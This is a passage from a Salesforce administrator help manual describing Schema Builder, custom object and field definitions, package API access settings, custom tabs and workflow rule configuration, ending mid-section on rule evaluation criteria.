Working with Schema Builder Creating Objects with Schema Builder Creating Fields with Schema Builder

Working with Schema Builder


Available in: All Editions

User Permissions Needed To view objects in Schema Builder: "Customize Application"

You can access Schema Builder in three ways: Click Your Name > Setup > Schema Builder. Click Your Name > Setup > Create > Objects. Then in the custom objects page, click Schema Builder. Click Your Name > Setup. In the Quick Links box on the Force.com home page, click Schema Builder.

When working with Schema Builder:

1849

Create

Schema Builder Overview

Click on an object and move it to any space on the canvas. Schema Builder saves the layout of your schema any time you move an object. Click Auto-Layout to automatically sort the layout of the objects in your schema. Important: Once you click Auto-Layout, you can't undo it.

Click View Options to: Display Element Names if you prefer system names, or Display Element Labels if you prefer text values. Show/Hide Relationships Show/Hide Legend

The Elements tab lets you drag and drop new custom objects and fields onto the canvas. To create a new custom object, see Creating Objects with Schema Builder. To create a new custom field, see Creating Fields with Schema Builder.

The Objects tab lets you select objects to display on the canvas. Click the drop-down list in the sidebar to filter your list of objects: All Objects Selected Objects Standard Objects Custom Objects System Objects Note: Objects created outside of Schema Builder, such as through an app or the API, dont automatically display on the canvas. Select the checkbox for the object created outside Schema Builder to display it on the canvas. To search for an object, type its name in the Quick Find... box. Hover over an object in your list of objects and click to find it on the canvas.

Hover over relationship lines to show relationship details such as lookup and master-detail relationships. Click the name of the object to find it on the canvas. You may want to hide relationships if your schema is taking too long to load. To view the details of a field in a new window, click the element name or label and select View Field in New Window. To edit properties of a custom field, click the element name or label and select Edit Field Properties.... To manage permissions of a custom field, click the element name or label and select Manage Field Permissions. Use the dialog box that appears to manage the fields visibility and writability for all standard and custom profiles. Click to:

Hide Object on Canvas View Object detail in a new window View Page Layouts detail in a new window Click Show More Fields to display all the fields of an object. To zoom in, click . To zoom out, click .

1850

Create

Schema Builder Overview

Note: You can't save the level of zoom when closing Schema Builder.

To collapse the sidebar, click . To expand it, click . The map in the lower right corner shows the overall layout of your objects on the canvas. Click on the map to navigate the layout of your objects. To pan across the schema layout while zoomed in, click and hold the canvas while moving the mouse. To close the Schema Builder and save the layout of your objects, click Close. Important: If your schema contains many objects and fields, it may cause long loading times. Click Hide Relationships to improve Schema Builder performance.

See Also:
Schema Builder Overview Creating Objects with Schema Builder Creating Fields with Schema Builder

Creating Objects with Schema Builder


Available in: All Editions

User Permissions Needed To create new custom objects in Schema Builder: "Customize Application"

To create a new custom object with Schema Builder: 1. Click the Elements tab. 2. Click Object and drag it onto the canvas. 3. Enter information to define your object. See Schema Builder Custom Object Definition on page 1852 for a list of object definitions. 4. Click Save.

1851

Create

Schema Builder Overview

Schema Builder Custom Object Definition


Available in: All Editions

Field
Label Plural Label

Description A name used to refer to the object in any user interface pages. The plural name of the object. If you create a tab for this object, this name is used for the tab. If its appropriate for your organizations default language, check if your label should be preceded by "an" instead of "a." A unique name used to refer to the object when using the API. In managed packages, this unique name prevents naming conflicts on package installations. The Object Name field can contain only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the object. A meaningful description helps you remember the differences between your custom objects when youre viewing them in a list. The name used in page layouts, list views, related lists, and search results. The type of field (text or auto-number) for the record name. Records that have unique IDs instead of names use auto-numbers. An auto-number is a unique number assigned automatically. It is always a read-only field. Makes the data in the custom object records available for reporting purposes. To create reports on custom objects, choose the Other Reports report type category unless the custom object has a relationship with a standard object. When the custom object has a master-detail relationship with a standard object, or is a lookup object on a standard object, select the standard object for the report type category instead.

Starts with a vowel sound

Object Name

Description

Record Name

Data Type

Allow Reports

Allow Activities

Allows users to associate tasks and scheduled calendar events related to the custom object records. For more information, see Notes on Enabling Activities for Custom Objects on page 1825. Enables your organization to track changes to fields on the custom object records, such as who changed the value of a field, when it was changed, and what the value of the field was before and after the edit. History data is available for

Track Field History

1852

Create

Schema Builder Overview

Field

Description reporting, so users can easily create audit trail reports when this feature is enabled.

Enable Divisions

If your organization has divisions enabled, select this option to enable the custom object for divisions. Divisions group records for simplified search results, list views, reports, and other areas within Salesforce. Salesforce adds a Division field to the custom object, and if the custom object is the master in a master-detail relationship, any custom objects on the detail side also get the Division field and inherit their division from the master record. This option makes the custom object available through the Salesforce Customer Portal. In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive. For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all Salesforce organizations. It keeps your managed package under your control exclusively. Indicates whether the custom object is visible to other users. For more information, see Custom Objects Deployment Status on page 1826. Allows users to attach notes and attachments to custom object records. This allows you to attach external documents to any object record, in much the same way that you can add a PDF or photo as an attachment to an email. This option is only available when you are creating a new object.

Available for Customer Portal

Namespace Prefix

Deployment Status

Add Notes & Attachments...

1853

Create

Schema Builder Overview

Deleting Custom Objects with Schema Builder


You can delete custom objects using Schema Builder. Available in: All Editions

User Permissions Needed To delete custom objects in Schema Builder: "Customize Application"

Schema Builder displays list of side effects when you try to delete a custom object. Be sure youre ready to accept these side effects before finalizing the deletion. See Deleting Custom Objects on page 1844 and Managing Deleted Custom Objects on page 1845. 1. Click on the custom objects icon. 2. Select Delete Object.... A dialog box displays that explains the side effects of deleting an object. Read this information carefully. 3. If you accept the conditions, check Yes, I want to delete the custom object. 4. Click Delete.

Creating Fields with Schema Builder


Available in: All Editions

User Permissions Needed To create new fields in Schema Builder: "Customize Application"

To create a new custom field with Schema Builder: 1. Click the Elements tab. 2. Click a field and drag it onto an object on the canvas. See Schema Builder Custom Field Definition on page 1855 for a list of available fields. 3. Enter a Field Label. Salesforce populates Field Name using the field label. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Ensure that the custom field name and label are unique for that object. If a standard and custom field have identical names or labels, the merge field displays the custom field value. If two custom fields have identical names or labels, the merge field may display an unexpected value.

1854

Create

Schema Builder Overview

If you create a field label called Email and a standard field labeled Email already exists, the merge field may be unable to distinguish between the fields. Adding a character to the custom field name makes it unique. For example, Email2. 4. 5. 6. 7. 8. 9. Enter a Namespace Prefix. Enter a Description of the custom field. Enter Help Text to detail the purpose and function of a custom field. Enter a Default Value to automatically insert a value of a custom field when a new record is created. Depending on the custom field type you choose, enter any remaining field attributes. Click Save.

Schema Builder Custom Field Definition


Available in: All Editions

Type Auto Number

Description Automatically assigns a unique number to each record. The maximum length of any auto-number field is 30 characters, 20 of which are reserved for prefix or suffix text. Allows users to automatically calculate values based on other values or fields such as merge fields. See Building Formulas on page 1168 and Operators and Functions on page 1230 Note: Salesforce uses the round half up tie-breaking rule for numbers in formula fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34.

Formula

Roll-Up Summary

Automatically displays the record count of related records or calculates the sum, minimum, or maximum value of related records. The records must be directly related to the selected record and on the detail side of a custom master-detail relationship with the object that contains the roll-up summary field. For example, a custom field called Total Number of Guests displays the number of guest custom object records in the Guests related list. Creates a relationship between two records so you can associate them with each other. For example, opportunities have a lookup relationship with cases that lets you associate a particular case with an opportunity. A lookup relationship creates a field that allows users to click a lookup icon and select another record from a popup window. On the associated record, you can then display a related list to show all of the records that are linked to it. You can create lookup relationship fields that link to users, standard objects, or custom objects. If a lookup field references a record that has been deleted,

Lookup Relationship

1855

Create

Schema Builder Overview

Type

Description Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship. For more information on lookup relationships, see Overview of Relationships on page 1827. Lookup relationship fields arent available in Personal Edition. Lookup relationship fields to campaign members arent available; however, lookup relationship fields from campaign members to other objects are available.

Master-Detail Relationship

Creates a relationship between records where the master record controls certain behaviors of the detail record such as record deletion and security. For more information on relationships, see Overview of Relationships on page 1827. Available for custom objects only, although you can create a master-detail relationship field on a custom object that links to a standard object. Master-detail relationships cant be used with campaign members.

Checkbox

Allows users to check a box, indicating a true or false attribute of a record. When using a checkbox field for a report or list view filter, use True for checked values and False for unchecked values. The import wizards and the weekly export tool use 1 for checked values and 0 for unchecked values. Allows users to enter a currency amount. The system automatically formats the field as a currency amount. This can be useful if you export data to a spreadsheet. Note: Salesforce uses the round half even tie-breaking rule for currency fields. For example, 23.5 becomes 24, 22.5 becomes 22, 22.5 becomes 22, and 23.5 becomes 24. Values lose precision after 15 decimal places.

Currency

Date

Allows users to enter a date or pick a date from a popup calendar. In reports, you can limit the data by specific dates using any custom date field. Allows users to enter a date or pick a date from a popup calendar and enter a time of day. They can also add the current date and time by clicking the date and time link next to the field. The time of day includes AM or PM notation. In reports, you can limit the data by specific dates and times using any custom date field.

Date/Time

1856

Create

Schema Builder Overview

Type Email

Description Allows users to enter an email address, which is validated to ensure proper format. If this field is specified for contacts or leads, users can choose the address when clicking Send an Email. Note that you can't use custom email addresses for mass emails. Allows users to enter any number. This is treated as a real number and any leading zeros are removed. Note: Salesforce uses the round half up tie-breaking rule for number fields. For example, 12.345 becomes 12.35 and 12.345 becomes 12.34. Salesforce rounds numbers referenced in merge fields according to the user's locale, not the number of decimal of spaces specified in the number field configuration.

Number

Percent

Allows users to enter a percentage number, for example, '10'. The system automatically adds the percent sign to the number. Note: If the decimal value is greater than 15, and you add a percent sign to the number, a runtime error occurs. Values lose precision after 15 decimal places.

Phone

Allows users to enter any phone number. Salesforce automatically formats it as a phone number. See Entering Phone Numbers on page 16. If you are using Salesforce CRM Call Center, custom phone fields are displayed with the button, allowing click-to-dial functionality. Consequently, salesforce.com recommends that you dont use a custom phone field for fax numbers.

Picklist Picklist (Multi-Select)

Allows users to select a value from a list you define. Allows users to select more than one picklist value from a list you define. These fields display each value separated by a semicolon. Allows users to enter any combination of letters, numbers, or symbols. You can set a maximum length, up to 255 characters. Allows users to enter any combination of letters, numbers, or symbols that are stored in encrypted form. You can set a maximum length of up to 175 characters. Encrypted fields are encrypted with 128-bit master keys and use the AES (Advanced Encryption Standard) algorithm. You can archive, delete, and import your master encryption key. To enable

Text Text (Encrypted)

1857

Create

Schema Builder Overview

Type

Description master encryption key management, contact salesforce.com. See also Managing Master Encryption Keys on page 736.

Text Area Text Area (Long)

Allows users to enter up to 255 characters that display on separate lines similar to a Description field. Allows users to enter up to 32,768 characters that display on separate lines similar to a Description field. You can set the length of this field type to a lower limit, if desired. Any length from 256 to 32,768 characters is allowed. Every time you press Enter within a long text area field, a linebreak and a return character are added to the text. These two characters count toward the 32,768 character limit. This data type is not available for activities or products on opportunities. With the use of a toolbar, users can format the field content and add images and hyperlinks. The toolbar allows the user to undo, redo, bold, italicize, underline, strike-out, add a hyperlink, upload or link to an image, modify alignment, add a numbered or non-numbered list, indent, and outdent. The maximum field size is 32,768 characters, inclusive of all the formatting and HTML tags. Only the first 254 characters in a rich text area or a long text area are displayed in a report. The maximum size for uploaded images is 1MB. Only gif, jpeg and png file types are supported. Allows users to enter up to 255 characters of any valid website address. When users click on the field, the URL opens in a separate browser window. Only the first 50 characters are displayed on the record detail pages.

Text Area (Rich)

URL

Deleting Custom Fields with Schema Builder


You can delete custom fields using Schema Builder. Available in: All Editions

User Permissions Needed To delete custom fields in Schema Builder: "Customize Application"

Schema Builder displays a list of side effects when you try to delete a custom field. Be sure youre ready to accept these side effects before finalizing the deletion. See Managing Deleted Custom Fields on page 1126.

1858

Create

Managing API and Dynamic Apex Access in Packages

1. Right click on the custom field. 2. Select Delete Field.... A dialog box displays that explains the side effects of deleting a custom field. Read this information carefully. 3. If you accept the conditions, check Yes, I want to delete the custom field. 4. Click Delete.

Managing API and Dynamic Apex Access in Packages


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To edit API and dynamic Apex access for a package you have Create AppExchange packages created or installed: To accept or reject package API and dynamic Apex access for Download AppExchange packages a package as part of installation:

API Access is a package setting that controls the dynamic Apex and API access that s-controls and other package components

have to standard and custom objects. The setting displays for both the developer and installer on the package detail page. With this setting: The developer of an AppExchange package can restrict API access for a package before uploading it to Force.com AppExchange. Once restricted, the package components receive Apex and API sessions that are restricted to the custom objects in the package. The developer can also enable access to specific standard objects, and any custom objects in other packages that this package depends on. The installer of a package can accept or reject package access privileges when installing the package to his or her organization. After installation, an administrator can change Apex and API access for a package at any time. The installer can also enable access on additional objects such as custom objects created in the installers organization or objects installed by unrelated packages.

Setting API and Dynamic Apex Access in Packages


To change package access privileges in a package you or someone in your organization has created: 1. Click Your Name > Setup > Create > Packages. 2. Select a package. 3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Use the API Access field to: Enable Restrictions This option is available only if the current setting is Unrestricted. Select this option if you want to specify the dynamic Apex and API access that package components have to standard objects in the installer's organization. When you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete

1859

Create

Managing API and Dynamic Apex Access in Packages

checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when finished. For more information about choosing the Restricted option, including information about when it is disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2341. Disable Restrictions This option is available only if the current setting is Restricted. Select this option if you do not want to restrict the Apex and API access privileges that the components in the package have to standard and custom objects. This option gives all the components in the package the same API access as the user who is logged in. For example, if a user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that user. Restricted Click this link if you have already restricted API access and wish to edit the restrictions.

Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing: Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 2335. In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if you have not canceled.

Changing API and Dynamic Apex Access Privileges After Installation


To edit the package API and dynamic Apex access privileges after you have installed a package: 1. Select Your Name > Setup > Installed Packages. 2. Click the name of the package you wish to edit. 3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access setting for objects, users do not have access to those objects from the package components, even if the user has the Modify All Data and View All Data permissions. Use the API Access field to: Enable Restrictions This option is available only if the current setting is Unrestricted. Select this option if you want to specify the dynamic Apex and API access that package components have to standard objects in the installer's organization. When you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when finished. For more information about choosing the Restricted option, including information about when it is disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2341. Disable Restrictions This option is available only if the current setting is Restricted. Select this option if you do not want to restrict the Apex and API access privileges that the components in the package have to standard and custom objects. This option gives all the components in the package the same API access as the user who is logged in. For example, if a user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that user. Restricted Click this link if you have already restricted API access and wish to edit the restrictions.

1860

Create

What is a Custom Tab?

What is a Custom Tab?


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A custom tab is a user interface component you create to display custom object data or other web content embedded in the application. The following types of custom tabs are available: Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function just like standard tabs. See Creating Custom Object Tabs on page 1862. Custom Web Tabs display any external Web-based application or Web page in a Salesforce tab. You can design Web tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1864. Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See Creating Visualforce Tabs on page 2220.

See Also:
Creating Custom Apps What is an App? Defining Object-Level Help

Defining Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Custom tabs display custom object data or other web content embedded in the application. For the total number of custom tabs you can create, see Salesforce Editions and Limits on page 2182. Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1862. Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1864. Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 2220.

1861

Create

Defining Custom Tabs

Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects. See Delegating Administrative Duties on page 754.

See Also:
What is a Custom Tab?

Creating Custom Object Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Define a new tab to display the data stored in your custom object records. 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Custom Object Tabs related list. 3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new custom object now and follow the instructions in Defining Custom Objects on page 1822. The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom Objects on page 1822. 4. Click the Tab Style lookup icon to display the Tab Style Selector. If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 5. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use. Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

1862

Create

Defining Custom Tabs

c. Select a file and click OK. The New Custom Tab wizard reappears. 6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 1283. 7. Enter a description of the tab, if desired, and click Next. 8. Choose the user profiles for which the new custom tab will be available: Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down list. Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab Hidden from the drop-down list for each profile.

For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On. 9. Specify Tab Visibility. For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility is automatically set to Default On. If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that users with the Create permission can quickly create a new record. For example, if the custom object displayed in the custom tab is named Expenses, an Expense option appears in this list. 10. Specify the custom apps that should include the new tab. See What is an App? on page 1805 for information on custom apps. 11. Check Append tab to users' existing personal customizations to add the new tab to your users customized display settings if they have customized their personal display. 12. Click Save. To further customize the tab: Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1838. Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing Search Layouts for Custom Objects on page 1839.

See Also:
Creating Custom Object Tabs

1863

Create

Defining Custom Tabs

Creating Web Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create and edit custom tabs: Customize Application

Build web tabs so that your users can use your web applications or other websites from within the application. 1. Click Your Name > Setup > Create > Tabs. 2. Click New in the Web Tabs related list. 3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column style allows users to view the sidebar. 4. Click Next. 5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want displayed in the web tab. See Defining Custom S-Controls on page 2231. Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain unaffected, and can still be edited. 6. Enter a label to display on the tab. 7. Click the Tab Style lookup icon to display the Tab Style Selector. If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter this list. 8. Click a tab style to select the color scheme and icon for the custom tab. Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your organization has access to the Documents tab. To create your own tab style: a. Click the Color lookup icon to display the color selection dialog and click a color to select it. b. Click Insert an Image, select the document folder, and select the image you want to use. Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes your search term. Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available checkbox selected in the document property settings. For more information, see uploading images and document property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor block icon ( ).

c. Select a file and click OK. The New Custom Tab wizard reappears.

1864

Create

Managing Custom Tabs

9. Change the content frame height if necessary. 10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile web browser. Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs on page 1004 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web tabs are compatible with mobile browsers before mobilizing a web tab. Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization. 11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining Custom Buttons and Links on page 1283 for information about creating a custom link to use as a splash page for your custom tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the web tab. 12. Enter a description of the tab, if desired, and click Next. 13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge fields for data that you want replaced in the link dynamically. Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs. For details about using merge fields, see Merge Fields Overview on page 464. Optionally, click the preview link to display your web tab. 14. For a URL, choose an encoding setting and click Next. 15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to determine whether the custom tab is visible to users with that profile. The administrator can change this setting later. 16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all users. 17. Specify the custom apps that should include the new tab. See What is an App? on page 1805 for information on custom apps. 18. Click Save.

Managing Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create, edit, and delete custom tabs: Customize Application

After creating your custom tabs, you can edit or delete them. Click Your Name > Setup > Create > Tabs to display a list of your organizations custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs. To view details for a custom tab, click the custom tab name.

1865

Create

Workflow and Approvals Overview

To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the Splash Page Custom Link, see Defining Home Tab Components on page 1334 for information about creating a custom link to use as a splash page for your custom tab. To remove a custom tab, click Del. To create a new custom tab, click New. See Creating Custom Object Tabs on page 1862, Creating Web Tabs on page 1864, or Creating Visualforce Tabs on page 2220. To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 2028. To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox. See Creating Visualforce Tabs on page 2220 and Creating Web Tabs on page 1864. For more information about customizing tabs in the mobile application, see Managing Mobile Tabs on page 1004. To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 2033.

Workflow and Approvals Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Approvals, Tasks, and Email Alerts are not available in Database.com

User Permissions Needed To view workflow rules and approval processes: To create or change workflow rules and approval processes: View Setup and Configuration Customize Application

Your sales force operates more efficiently with standardized internal procedures and automated business processes. Many of the tasks you normally assign, the emails you regularly send, and other record updates are part of an organization's standard processes. Instead of doing this work manually, you can configure workflow and approvals to do it automatically. Begin by designing workflow rules and approval processes, and associating them with actions such as email alerts, tasks, field updates, or outbound messages.

About Workflow
Each workflow rule consists of: Criteria that determine when Salesforce executes the workflow rule. Any change that causes a record to match this criteria can trigger the workflow ruleeven changes to hidden fields. Immediate actions to take when the workflow rule executes. For example, Salesforce can automatically send an email that notifies the opportunity team when a new high-value opportunity is created. Time-dependent actions that Salesforce queues when the workflow rule executes. For example, Salesforce can automatically send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date. When Salesforce triggers a workflow rule that has time-dependent actions, you can use the workflow queue to monitor and cancel pending actions.

Workflow automates the following types of actions: Email AlertsSend an email to one or more recipients. For example, automatically send sales management an email alert when a sales representative qualifies a large deal.

1866

Create

Managing Workflow Rules

TasksAssign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support representative one week after a case is updated. Field UpdatesUpdate the value of a field on a record. For example, automatically change the Owner field on a contract three days before it expires. Outbound MessagesSend a secure configurable API message (in XML format) to a designated listener. For example, automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message to an external HR system.

About Approvals
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when a record is approved, rejected, recalled, or first submitted for approval. For more details about approval processes and what they entail, see Getting Started with Approval Processes on page 1915.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones Creating Tasks for Workflow, Approvals, or Milestones Defining Field Updates Defining Outbound Messages Creating Workflow Rules Examples of Workflow Rules Customizing Workflow and Approval Settings Administrator tip sheet: Workflow: Automating The Process Differences Between Auto-Response Rules and Workflow Alerts Creating Approval Processes

Managing Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks and Email Alerts are not available in Database.com

User Permissions Needed To view workflow rules: To create or change workflow rules: View Setup and Configuration Customize Application

Automate your organizations standard processes by configuring workflow rules. If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active. To get started using workflow rules, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. From this page, you can:

1867

Create

Managing Workflow Rules

Create a new workflow rule. Select an existing rule to view its details, clone it, activate and deactivate it, or view and edit actions and time triggers. Edit a workflow rule. Delete a workflow rule. Note: You can't delete a workflow rule that has pending actions in the workflow queue. Wait until pending actions are processed, or use the workflow queue to cancel the pending actions.

Activate a workflow rule. Click Deactivate to prevent the rule from firing when its conditions are met. Note: You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions, Salesforce completes those actions as long as the record that triggered the rule is not updated. You can't add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first, add the time-dependent workflow action, and reactivate the rule. When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger task-based workflow rules.

Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log details and information about workflow rules and actions, such as the name of the user who triggered the workflow rule and the name and ID of the record being evaluated.

See Also:
Creating Workflow Rules Notes on Using Workflow Rules Examples of Workflow Rules Workflow and Approvals Overview Managing Email Alerts Managing Tasks for Workflow and Approvals Managing Field Updates Defining Outbound Messages Differences Between Auto-Response Rules and Workflow Alerts

1868

Create

Managing Workflow Rules

Creating Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules and actions: Customize Application

Watch a Demo (2:50 minutes) Automate your organizations standard processes by configuring workflow rules. To create a new rule: 1. 2. 3. 4. Select the object to which the workflow rule applies. Configure the workflow rule settings and criteria. Configure the workflow actions. Activate the workflow rule.

Selecting the Object for Your Workflow Rule


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules and actions: Customize Application

1. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. 2. On the workflow rules list page, click New Rule. 3. Choose an object to which you want this workflow rule to apply. Note: If you have a workflow action that updates a field on a related object, that target object isn't the one associated with the workflow rule. To create workflow rules based on new case comments or incoming email messages that automatically update fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow Rules for more information.

1869

Create

Managing Workflow Rules

To create a site usage rule, choose one of the following: Organization (for monthly page views allowed and monthly page views used fields) Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields) User License (for the monthly logins allowed and monthly logins used fields) The Organization and Site objects are only available if Force.com sites is enabled for your organization. The User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals enabled for your organization. You can't create email alerts for workflow rules on activities.

4. Click Next.

See Also:
Configuring Rule Settings and Criteria Configuring Workflow Actions Activating a Workflow Rule Creating Workflow Rules

Configuring Rule Settings and Criteria


Available in: Enterprise, Unlimited, Developer, and Database.com Editions Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed To create or change workflow rules and actions: Customize Application

After selecting the object for your workflow rule, you can configure its settings and criteria. 1. Enter a rule name. 2. Enter a description for the rule. 3. Set the evaluation criteria:
Evaluate the rule when a record is: created

Description Evaluate the rule criteria each time a record is created. If the rule criteria is met, run the rule. Ignore all updates to existing records. With this option, the rule never runs more than once per record.

1870

Create

Managing Workflow Rules

Evaluate the rule when a record is:

Description

created, and every time its Evaluate the rule criteria each time a record is created or updated. If the rule criteria edited is met, run the rule.

With this option, the rule repeatedly runs every time a record is edited, as long as the record meets the rule criteria. Note: You can't add time-dependent actions to the rule if you select this option.

created, and any time its (Default) Evaluate the rule criteria each time a record is created or updated. edited to subsequently meet For a new record, run the rule if the rule criteria is met. criteria For an updated record, run the rule only if the record is changed from not

